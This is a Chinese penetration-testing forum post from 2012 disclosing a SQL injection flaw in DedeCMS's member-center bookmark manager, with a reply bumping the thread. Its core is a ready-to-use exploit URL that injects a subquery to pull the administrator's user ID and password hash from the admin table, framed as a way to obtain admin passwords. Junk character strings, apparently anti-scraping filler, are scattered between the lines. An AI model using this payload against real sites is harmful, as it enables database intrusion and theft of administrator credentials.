中国网络渗透测试联盟
标题:
DedeCMS会员中心书签管理SQL注射漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:21
标题:
DedeCMS会员中心书签管理SQL注射漏洞
DedeCMS会员中心SQL注射漏洞
& G0 p. U4 o: @
需要magic_quotes_gpc = Off
2 B. j6 B: _* p( i
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
. _7 W7 n5 T/ E3 R
; v! x% e; B* c7 W s' m. Q
DedeCMS会员中心书签管理SQL注射漏洞
5 z4 {3 N' h( m$ I9 f# F
成功利用该漏洞可获得管理员密码
/ L9 J! h; |) A
6 t3 A/ f' k. _$ v
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
1 A* O% s' \- f
6 r9 B; x D7 |3 a! x* {+ V1 n
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
C7 b' D5 y) |, |
作者:
kook
时间:
2013-1-10 01:33
#89 顶起。
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2